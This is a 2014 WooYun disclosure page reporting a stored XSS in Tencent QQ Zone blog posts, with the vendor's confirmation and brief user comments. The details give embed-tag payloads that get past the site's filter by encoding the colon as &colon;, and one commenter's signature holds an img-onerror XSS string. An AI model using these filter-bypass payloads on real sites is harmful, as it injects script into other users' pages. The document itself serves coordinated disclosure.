当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060154

漏洞标题：QQ空间日志存储型XSS

相关厂商：腾讯

漏洞作者： mramydnei

提交时间：2014-05-10 15:58

修复时间：2014-06-24 15:59

公开时间：2014-06-24 15:59

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-10： 细节已通知厂商并且等待厂商处理中
2014-05-12： 厂商已经确认，细节仅向厂商公开
2014-05-22： 细节向核心白帽子及相关领域专家公开
2014-06-01： 细节向普通白帽子公开
2014-06-11： 细节向实习白帽子公开
2014-06-24： 细节向公众公开

简要描述：

难得有时间，再来一发

详细说明：

对日志内容过滤不严格导致可植入恶意代码。
测试1：

<embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">


结果1:

<div>a<embed code="#" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">z<br/>
<br/>
<br/>
</div>


和邮箱的那个有点类似，只不过一个是src一个是code。
继续将“：”换成HTML实体编码。测试2:

<embed code="javascript&colon;alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">


成功绕过，结果2：

<div>a<embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">z<br/>
<br/>
<br/>
</div>


该XSS Vector在Opera和Safari下有效。

漏洞证明：

测试于Opera21.0和Safari7.0.3

2014-05-10 下午1.12.47.png


修复方案：

完善过滤规则

版权声明：转载请注明来源 mramydnei@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-05-12 10:52

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-10 15:59 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    富

  2. 2014-05-10 16:01 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    哭了，M老师求带

  3. 2014-05-10 16:03 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    z这厮不简单

  4. 2014-05-10 16:08 | 刘海哥 ( 普通白帽子 | Rank:114 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    这……

  5. 2014-05-10 16:11 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    这厮很屌

  6. 2014-05-10 16:44 | kider脚本小子 ( 路人 | Rank:4 漏洞数:2 | 系统软件安装及其调试。电脑硬件问题检测...)

    求带，看不到！"ஐ/<this.src='/captcha.php?'+Math.random($("#myBugListTab"))

  7. 2014-05-10 16:45 | kider脚本小子 ( 路人 | Rank:4 漏洞数:2 | 系统软件安装及其调试。电脑硬件问题检测...)

    求带，看不到

  8. 2014-05-10 16:52 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    带带我啊，大牛！

  9. 2014-05-10 17:00 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    乳齿肾屌

  10. 2014-05-10 17:17 | 坠落。 ( 路人 | Rank:17 漏洞数:2 | -.- 屌丝一枚,菜鸟一个,擅长windows/linux...)

    mark

  11. 2014-05-10 17:24 | Cyrils ( 实习白帽子 | Rank:45 漏洞数:10 | the more the better)

    帅炸~

  12. 2014-05-10 17:41 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    不愧是M大神

  13. 2014-05-10 17:46 | Henry:bobo ( 普通白帽子 | Rank:104 漏洞数:22 | 本胖吊！~又高又肥2个奶奶像地雷)

    带带我！！

  14. 2014-05-10 20:23 | xss_art ( 路人 | Rank:11 漏洞数:3 | 只会弹框框的跨站师。。。。)

    mark

  15. 2014-05-12 13:20 | 孤零落叶寒 ( 普通白帽子 | Rank:162 漏洞数:26 | 今天的跌倒是是为了明天更好的站着)

    吊炸天

  16. 2014-06-24 16:14 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    叼

  17. 2014-06-24 17:16 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    我就看出楼主是土豪了。。。其他的没看出来

  18. 2014-06-24 18:35 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    take me fly。。。

  19. 2014-06-24 21:09 | 暧昧 ( 路人 | Rank:6 漏洞数:3 | 此号乃是吾用来装孙子也)

    我看到了一个醒目的中文 毛骗2

  20. 2014-06-25 10:15 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习，向各位大神致敬)

    顶楼上的，毛骗2

  21. 2014-06-25 17:55 | 土得一逼 ( 路人 | Rank:15 漏洞数:2 | 土得一逼)

    用苹果的高富帅啊 毛骗2 第十五集什么时候更新啊?